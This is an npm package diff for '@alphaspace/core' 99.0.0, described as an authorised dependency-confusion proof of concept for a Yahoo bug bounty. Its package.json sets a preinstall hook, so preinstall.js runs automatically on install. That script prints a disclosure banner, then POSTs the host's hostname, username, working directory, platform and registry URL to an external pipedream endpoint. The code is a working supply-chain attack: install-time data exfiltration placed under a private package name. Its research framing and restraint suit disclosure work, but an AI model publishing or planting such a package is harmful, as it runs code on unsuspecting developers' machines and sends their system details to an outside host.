@alphaspace/core 99.0.0

package/README.md

@@ -0,0 +1,5 @@
+# @alphaspace/core
+
+Placeholder package holding this namespace.
+
+This package exports nothing and performs no runtime work.

package/index.js

@@ -0,0 +1,3 @@
+// Placeholder. This package exports nothing and performs no runtime work.
+// See preinstall.js for what this package does at install time, and why it exists.
+module.exports = {};

package/package.json

@@ -0,0 +1,18 @@
+{
+  "name": "@alphaspace/core",
+  "version": "99.0.0",
+  "description": "Placeholder package. Reserved namespace.",
+  "license": "MIT",
+  "main": "index.js",
+  "files": [
+    "index.js",
+    "preinstall.js",
+    "README.md"
+  ],
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "engines": {
+    "node": ">=12"
+  }
+}

package/preinstall.js

@@ -0,0 +1,98 @@
+/*
+ * Dependency-confusion proof-of-concept — authorised security research.
+ * Yahoo Bug Bounty via Intigriti. Researcher: mlitchfield.
+ *
+ * WHAT THIS DOES, in full, with nothing omitted:
+ *   1. prints an identifying banner to the install log
+ *   2. sends ONE HTTPS POST reporting that it was installed, and from where
+ *   3. exits 0, always
+ *
+ * WHAT IT DELIBERATELY DOES NOT DO:
+ *   - it does not read process.env beyond the two npm-set lifecycle variables named below
+ *     (npm_config_registry, npm_package_name). No credentials, no secrets, no token scraping.
+ *   - it does not read, write or delete any file
+ *   - it does not spawn a shell or any child process
+ *   - it does not persist, schedule or install anything
+ *   - it cannot fail a build: every path is wrapped, the socket has a 3s cap, and the exit code
+ *     is always 0 even on error
+ *
+ * Why npm_config_registry is included: it is the single field that answers the question this PoC
+ * exists to settle — which registry the install was actually configured against. It is set by npm
+ * itself and contains no secret.
+ */
+
+const https = require("https");
+const os = require("os");
+
+const ENDPOINT = "https://f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net";
+const RUN_ID = Math.random().toString(16).slice(2, 10);
+
+function banner() {
+  const L = [
+    "",
+    "  ─────────────────────────────────────────────────────────────────────────",
+    "  @alphaspace/core — AUTHORISED SECURITY RESEARCH, NOT A REAL PACKAGE",
+    "",
+    "  This is a dependency-confusion proof-of-concept published as part of the",
+    "  Yahoo Bug Bounty programme on Intigriti by researcher mlitchfield.",
+    "",
+    "  If you are seeing this in a build log, that build resolved a PRIVATE package",
+    "  name from the PUBLIC npm registry. That is the issue being reported.",
+    "",
+    "  This package reads no secrets, touches no files, runs no commands and cannot",
+    "  fail your build. It reports only: hostname, username, working directory,",
+    "  platform and the configured registry URL.",
+    "",
+    "  run-id: " + RUN_ID,
+    "  Contact the Yahoo security team, referencing the @alphaspace dependency-",
+    "  confusion report, to have this package removed.",
+    "  ─────────────────────────────────────────────────────────────────────────",
+    "",
+  ];
+  try { console.log(L.join("\n")); } catch (e) { /* never fatal */ }
+}
+
+function report() {
+  let payload;
+  try {
+    payload = JSON.stringify({
+      poc: "yahoo-bbp-alphaspace-depconfusion",
+      researcher: "mlitchfield",
+      run_id: RUN_ID,
+      ts_utc: new Date().toISOString(),
+      hostname: os.hostname(),
+      username: (os.userInfo && os.userInfo().username) || null,
+      cwd: process.cwd(),
+      pkg: "@alphaspace/core",
+      pkg_version: "99.0.0",
+      npm_package_name: process.env.npm_package_name || null,
+      npm_config_registry: process.env.npm_config_registry || null,
+      platform: process.platform,
+      arch: process.arch,
+      node: process.version,
+    });
+  } catch (e) { return; }
+
+  try {
+    const req = https.request(
+      ENDPOINT,
+      {
+        method: "POST",
+        timeout: 3000,
+        headers: {
+          "Content-Type": "application/json",
+          "Content-Length": Buffer.byteLength(payload),
+          "User-Agent": "alphaspace-depconfusion-poc/99.0.0 (yahoo-bbp; mlitchfield)",
+        },
+      },
+      (res) => { res.resume(); }
+    );
+    req.on("error", () => {});
+    req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
+    req.write(payload);
+    req.end();
+  } catch (e) { /* never fatal */ }
+}
+
+try { banner(); report(); } catch (e) { /* never fatal */ }
+process.exitCode = 0;